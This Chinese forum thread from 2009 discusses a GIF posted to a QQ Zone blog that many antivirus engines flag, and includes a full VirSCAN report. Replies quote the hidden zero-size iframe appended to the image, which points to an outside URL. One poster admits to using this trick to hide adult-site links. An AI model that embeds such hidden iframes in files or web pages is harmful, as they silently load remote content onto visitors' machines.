一张可疑的图片文件

天使的愤怒

我的一篇QQ空间日志里的图片，被红伞报毒了~
原来，以为是误报。上传到VirScan上一看发现，报的还不少呢！

天使的愤怒

VirSCAN.org Scanned Report :
Scanned time   : 2009/10/08 19:46:41 (CST)
Scanner results: 32%的杀软(12/37)报告发现病毒
File Name      : http_imgload[12].jpg
File Size      : 167265 byte
File Type      : GIF image data, version 89a, 100 x 120
MD5            : 67a2a9331ef72f15af62cbaa32f660ec
SHA1           : 5d636c953392a13330edcca35b3bcd17af827ec6
Online report  : http://virscan.org/report/bb7dd15c800a7489d2051c10d2bdc9b2.html

Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      4.5.0.8         20091008193349    2009-10-08  5.00   -
安博士V3       2009.10.08.05   2009.10.08        2009-10-08  1.13   -
AntiVir        8.2.1.35        7.1.6.87          2009-10-08  0.52   HTML/PicFrame.Gen
安天           2.0.18          20091008.2975889  2009-10-08  0.17   -
Arcavir        2009            200910071309      2009-10-07  0.01   -
Authentium     5.1.1           200910072307      2009-10-07  2.63   -
AVAST!         4.7.4           091007-0          2009-10-07  0.01   VBS:Malware-gen
AVG            8.5.288         270.14.7/2422     2009-10-08  1.46   -
BitDefender    7.81008.4323531 7.28165           2009-10-08  5.30   -
CA (VET)       9.0.0.143       35.1.7056         2009-10-08  6.79   -
ClamAV         0.95.2          9873              2009-10-08  0.27   HTML.IFrame.IMG
Comodo         3.12            2527              2009-10-07  1.44   -
CP Secure      1.3.0.5         2009.10.08        2009-10-08  0.03   W32.W.Mefir.H
Dr.Web         4.44.0.9170     2009.10.08        2009-10-08  8.05   JS.IFrame.8
F-Prot         4.4.4.56        20091007          2009-10-07  2.04   -
F-Secure       7.02.73807      2009.10.08.06     2009-10-08  0.13   Trojan:GIF/GIFrame.gen!A [FSE]
飞塔           2.81-3.120      10.918            2009-10-08  0.36   HTML/IFrame.NFE!tr
GData          19.8286/19.502  20091008          2009-10-08  10.49  VBS:Malware-gen [Engine:B]
ViRobot        20091007        2009.10.07        2009-10-07  2.34   -
Ikarus         T3.1.01.72      2009.10.08.73993  2009-10-08  4.14   -
江民杀毒       11.0.800        2009.10.08        2009-10-08  8.83   -
卡巴斯基       5.5.10          2009.10.08        2009-10-08  0.02   -
金山毒霸       2009.2.5.15     2009.10.8.18      2009-10-08  0.91   -
迈克菲         5.3.00          5764              2009-10-07  6.23   Suspicious IFrame.e
Microsoft      1.5101          2009.10.08        2009-10-08  8.17   Trojan:Win32/Giframe.A
Norman         6.01.09         6.01.00           2009-10-08  8.01   -
熊猫卫士       9.05.01         2009.10.07        2009-10-07  2.71   -
趋势科技       8.700-1004      6.519.00          2009-10-07  0.02   TROJ_IFRAME.AKD
Quick Heal     10.00           2009.10.08        2009-10-08  2.60   -
瑞星           20.0            21.49.22.00       2009-09-30  1.67   -
Sophos         2.90.1          4.45              2009-10-08  4.00   Mal/GIFIframe-A
Sunbelt        5435            5435              2009-10-07  2.81   -
赛门铁克       1.3.0.24        20091007.002      2009-10-07  0.06   -
nProtect       20091008.02     5754855           2009-10-08  8.08   -
The Hacker     6.5.0.2         v00033            2009-10-07  0.82   -
VBA32          3.12.10.11      20091007.1940     2009-10-07  2.50   -
VirusBuster    4.5.11.10       10.112.62/2570460 2009-10-08  2.65   -

12548777

很可疑

星空下的吻

运行后无明显反应~~~~请HIPS党检验~~

asinasina

最后添加了这个
<iframe src="http://my.nbip.net/homepage/oldnb/mm/index.html" width=0 height=0></iframe>

尤金卡巴斯基

http_imgload[12].jpg_

No malicious code was found in this file.

icebatw

用记事本打开，可以看到最后面有以下字样
<iframe src="http://my.nbip.net/homepage/oldnb/mm/index.html" width=0 height=0></iframe>
LZ要是还是想上传就把以上字样删除保存就可以了

PS：我经常隐藏H网地址的方法....

tingying

小A阻止下载

thelordisone

过了ESET～～～

wcj20236

误报。